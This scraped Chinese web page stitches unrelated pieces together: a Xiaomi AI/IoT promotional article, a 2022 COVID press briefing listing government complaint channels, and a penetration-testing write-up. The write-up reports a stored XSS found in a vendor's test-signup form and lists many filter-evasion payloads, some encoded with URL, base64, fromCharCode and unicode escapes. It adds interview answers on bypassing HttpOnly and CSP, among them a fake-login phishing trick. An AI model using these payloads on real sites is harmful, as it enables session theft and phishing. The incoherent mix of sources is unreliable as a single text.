整合營銷服務商
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
015年，吉尼斯紀錄“千本斬”紀錄的保持者迎戰日本獨臂機器人，曾經創下36分鐘5秒刀砍1000卷草席的世界紀錄的他，出刀速度之快，甚至能在瞬間切開子彈。在這一場機器人的酷炫技藝下，是對人類技藝謙遜、精準的效仿和傳承。
4年前，智能科技挑戰日本居合道大師，巔峰對決“千本斬”
3年前，人工智能戰勝圍棋世界冠軍
兩年前，AI發現了包含八顆行星的太陽系
彼時，從未間斷的智能發展，即便引發了全世界的驚嘆，人們對智能科技的認知，仍然停留在觸不可及的尖端領域，智能的進步仿佛存在于一篇新聞推送，一場網絡轉播。
轉眼時至2019，今年年初的政府工作報告中，已將“智能+”作為重要戰略，提出人工智能賦能傳統產業。這意味著人工智能正逐漸進入傳統行業，傳統生活領域的改造升級正在悄然發生。
從你第一次打開電視直到現在，為了找出你家時常“失蹤”的遙控器，一共浪費了多少時間？
你上一次忘帶家門鑰匙，是什么時候？
都市獨居族日益增多，經濟、事業正快速自主中的女性，如何保證自己的獨居安全？
這不是一場社會調查，這是智能進步中，正在為每一個人打開的腦洞
“您的快遞到了”已經成為眼下日常生活里，最重要的幸福感之一，伴隨新的幸福趨勢，智能科技又有什么真實出現在你左右的支持？
通過智能電視遙控一切家電設備
一句話開燈關燈讓雙手騰出來去做更有意義的事
一個智能門鈴，不僅讓你擁有了名偵探柯南的變聲功能，身在異地也能第一時間跟快遞小哥說上一句“快遞就放在家門口吧”
每個時代，都有每個時代的“百家爭鳴”。今年智能科技的進步領跑，接二連三地發生在了年僅9歲的小米身上。
10月份，語音領域國際著名學者、開源語音項目Kaldi創始人、原霍普金斯大學副教授Daniel Povey正式加入小米，這在整個AI領域引起了巨大的反響，國內多位學者表示小米這一舉措為中國AI語音領域做出巨大的貢獻，Daniel Povey的加入會讓小米在AI技術自研上帶來極大的推動作用。
11月13日，胡潤研究院發布《2019中國人工智能企業知識產權競爭力百強榜》，從企業的綜合強度、創新能力和技術成熟度三個維度進行定量評比，對500余家中國人工智能主流企業進行定量評估，小米在一系列互聯網及硬件企業中脫穎而出，名列第四。公開數據顯示，2016年—2018年間，小米在AI領域申請專利684項，列居世界第11位。
目前，小米已經打造了全球領先的消費級物聯網（IoT），通過其AI——小愛同學賦能，形成小米AIoT平臺。截止今年上半年，該平臺接入設備數超過1.96億臺（不包括手機和筆記本電腦），超過300萬人擁有超過5臺以上相關設備。
我們正在迎來一個由人工智能（AI）賦能的萬物互聯（IoT）時代。如果說過去我們與PC、手機交互，那么，未來我們將與萬物交互。
2020年，一個即將到來的“AI”大年，一切智能科技的進步正在悄然發生。9歲小米，在萬物互聯中，跟你一切感受智能的發生！點擊進入智能社會?https://s1.mi.com/m/app/hd/index.html?id=12746&client_id=180100041080&masid=19107.0002
7月8日下午，國務院聯防聯控機制召開發布會，介紹科學精準做好疫情防控工作有關情況。
發布會上，國家衛健委監督局副局長程有全介紹，6月28日，落實疫情防控“九不準”公眾留言板正式上線，6月28日至7月6日24時，共收到13916條信息，涉及全國31個省、自治區、直轄市及新疆生產建設兵團，均及時轉地方核查處理。
6月28日下午，收到信息2480條；
6月29日，收到4850條；
6月30日，收到2495條；
7月1日，收到1406條；
7月2日，收到653條；
7月3日，收到549條；
7月4日，收到599條；
7月5日，收到453條；
7月6日，收到431條。
“這個趨勢大家能看出來，6月29日投訴量最多，是4850條，隨著整治‘層層加碼’，工作專班的跟蹤督辦，31個工作組的現場督導和各省份對照第九版防控方案持續整改，投訴量整體呈現逐日下降的趨勢。”程有全表示。
程有全談到，7月6日整體的數據比照6月29日整體的數據，下降了91%。截至7月7日10時，收到各省份辦理反饋信息13862件，其中2253件正在辦理中。辦結了11609件，辦結率是83.7%，整治工作取得階段性成效。
程有全表示，下一階段，將持續推進專項整治工作，按照整治“層層加碼”專班的工作機制，繼續做好線索收集、轉辦核實、跟蹤督辦、通報曝光等工作，做到全面收集、及時轉辦、全力核查、堅決整改，妥善解決“九不準”相關問題，切實維護人民群眾的利益。
為嚴格落實新冠肺炎疫情防控“九不準”要求，防止和糾正工作中出現的簡單化、一刀切、層層加碼等問題，國務院聯防聯控機制有關部門專門開設群眾問題反映渠道。
教育部
網址：
http://www.moe.gov.cn/jyb_hygq/hygq_tsjb/202207/t20220704_643158.html
電話：010-66092315/3315
工業和信息化部
網址：
https://www.miit.gov.cn/gyhxxhb/jgsj/xxtxglj/wzpz/ztzl/txxckzlyqfk/zcgf/index.html
電話：12381
交通運輸部
電話：12328，010-65292831
農業農村部
網址：
https://www.moa.gov.cn/wsxfbzxx/xfwy/ministerMailBox.html
電話：010-66179655
商務部
網址：
http://gzly.mofcom.gov.cn/info/loginOne
電話：010-85093881
文化和旅游部
網址：
https://zwgk.mct.gov.cn/zfxxgkml/scgl/202206/t20220624_934098.html
電話：010-65201455
國家衛生健康委
網址：
http://www.nhc.gov.cn/nccjmly/denglu.html
海關總署
網址：
http://www.customs.gov.cn/eportal/ui?pageId=374003
電話：12360
市場監管總局
網址：
https://gkml.samr.gov.cn/nsjg/zfjcj/202206/t20220629_348242.html
國家郵政局
網址：
https://spb.gov.cn/gjyzj/jiubz/hdjl_yqfkjbz.shtml
電話：12305
一圖速覽：7月8日
國務院聯防聯控機制新聞發布會
◆◆
◆◆
編輯：張錦華
校對：劉榮章
審核：王智韜
來源：澎湃新聞、健康中國
點分享
點收藏
眾號：滲透師老A
專注分享滲透經驗，干貨技巧....
作者：學員-astronaut
猶記某位師傅所說，有活動的地方就有可能出現漏洞，畢竟是新的業務點，本次漏洞也是與廠商搞的活動有關.漏洞已提交！
經過信息收集，發現其推出了眾測活動，類似于0元試用，這無傷大雅，但其中的眾測計劃屬實耐人尋味，因為我輸入了<h1>加油</h1>以后，它返回給我的結果如下圖所示
這說明填寫眾測計劃時，是可以執行html語句的，這里可以嘗試的操作是構造釣魚鏈接，比如<a href="https://bbs.zkaq.cn/">我很來勁</a>
那試試能不能執行js呢，成立了就收獲存儲xss一枚
經初步測試發現，普通的彈窗對它來說是不起作用的
開始fuzz
利用拼接函數
<svg onload="a(this);function a(){}(alert`1`)">
<details ontoggle=this['ale'+'rt']`1` open>
<audio src/onerror=self['pro'+'mpt'](1)>
<img/src=1 onerror=window.alert(1)>攔截
嘗試不同屬性
<form action=javascript：alert(1)><input type=submit>
<object data=javascript：alert(1)>攔截
嘗試不同標簽
<body onload=alert(1)>
<marquee onstart=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<form onsubmit=alert(1)><input type=submit>攔截
蟹不肉
編碼
<details open ontoggle=eval('%61%6c%65%72%74%28%31%29') >
<details open ontoggle=eval(atob('YWxlcnQoMSk='))>
<img/src=1 onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
< a href="javascript：al\u{65}rt(6)">XSS Test</ a>最終，unicode編碼成功繞過防護，網費拿下
注意:漏洞挖掘一定要點到為止，不可以非法獲取網站的任何數據以及改動，作為安全人員更要在法律允許的范圍內進行.未經授權的滲透一定不要干.
在發現漏洞后，盡快提交漏洞，聯系廠商進行修復。
12期小老弟找工作中，本篇正好又聊到了xss，咱就扯幾道面試題（總群里的）吧，同學們有更好的思路不妨一起學習交流
Q1：如何繞過http-only？
A1：首先談談http-only，它的作用僅僅是為了避免攻擊者獲得cookie信息，插還是能插的。
再看如何繞過，可以說說風哥提到的這兩點 -- csrf、借助phpinfo()讓頁面顯示cookie。
除此之外，還可以劫持釣魚繞過，利用姿勢為管理員觸發xss后，當前頁面即刻跳轉至登陸界面，若管理員稍不留意填寫了賬號和密碼，不就拿下了，為啥，因為登陸界面是偽造的。
還有沒有啥繞過方式，有啊，比如CVE-2012-005，只要攻擊者向目標站點植入超大cookie，使得http頭超過apache的最大請求長度，apache便會返回400狀態碼，以及被http-only保護的cookie
Q2：談一談csp安全策略，以及如何繞過？
A2：csp即為HTTP Header中的Content-Security-Policy，它存在的目的主要是通過白名單的方式告訴瀏覽器允許加載和不允許加載的資源。
具體用法可以使用script-src，讓瀏覽器只能加載指定規則下的js代碼，其他的都一律拒絕。
接著講講咋個繞過
姿勢1 -- jsonp繞過，啥是jsonp，它首先基于json格式，存在的目的在于解決跨域請求資源
而它的原理則是動態地插入帶有跨域url的script標簽，然后調用回調函數，將用戶所需的json數據作為參數傳入，通過一些邏輯把數據顯示在頁面
說到這兒，自然是明白如何通過它繞過csp了，還不是因為它允許不安全的回調方法，從而給攻擊者執行xss創造了機會？直接callback=alert`1`就完事兒了。
姿勢2 -- 利用iframe的srcdoc屬性繞過csp，但有前提，那就是應用得允許加載來自白名單域的iframe，滿足了這個前提就可以插了，咋插？用手插
*請認真填寫需求信息，我們會在24小時內與您取得聯系。
